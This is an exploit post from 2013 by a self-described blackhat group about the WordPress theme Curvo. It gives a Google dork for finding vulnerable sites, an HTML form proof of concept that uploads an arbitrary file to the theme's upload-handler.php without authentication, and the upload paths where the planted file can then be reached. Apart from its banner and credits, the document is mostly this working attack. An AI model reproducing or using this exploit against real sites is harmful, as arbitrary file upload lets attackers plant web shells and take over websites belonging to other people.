WordPress Theme Curvo - Cross-Site Request Forgery / Arbitrary File Upload

###################################################################################################
#_________            .___        _______                ___.   .__        
#\_   ___ \  ____   __| _/____    \      \   ______  _  _\_ |__ |__| ____  
#/    \  \/ /  _ \ / __ |/ __ \   /   |   \_/ __ \ \/ \/ /| __ \|  |/ __ \ 
#\     \___(  <_> ) /_/ \  ___/  /    |    \  ___/\     / | \_\ \  \  ___/ 
# \______  /\____/\____ |\___  > \____|__  /\___  >\/\_/  |___  /__|\___  >
#        \/            \/    \/          \/     \/            \/        \/ 
###################################################################################################
# Exploit Title: WordPress Curvo Themes CSRF File Upload Vulnerability
# Author: Byakuya
# Date: 10/26/2013
# Vendor Homepage: http://themeforest.net/
# Themes Link: http://www.wphub.com/themes/curvo-by-themeforest/
# Price: $35
# Affected Version: Unknown
# Infected File: upload_handler.php
# Category: webapps/php
# Google dork: inurl:/wp-content/themes/curvo/
###################################################################################################

# Exploit & POC :

<form enctype="multipart/form-data" 
action="http://127.0.0.1/wordpress/wp-content/themes/curvo/functions/upload-handler.php" method="post">
<input type="jpg" name="url" value="./" /><br />
Please choose a file: <input name="uploadfile" type="file" /><br />
<input type="submit" value="upload" />
</form>

#File path: 
http://site.com/wordpress/wp-content/uploads/[FILE]
or
http://site.com/wordpress/wp-content/uploads/[year]/[month]/[FILE] 

#Credit: ./Byakuya ./Mr Ohsem ./Cai ./RatKid ./Agam ./Lord-Router ./X-Tuned ./Official Code-Newbie
#Facebook: https://www.facebook.com/CodeNewbieCrew
#Website: http://www.codenewbie.net
#Malaysia & Indonesia BlackHat
###################################################################################################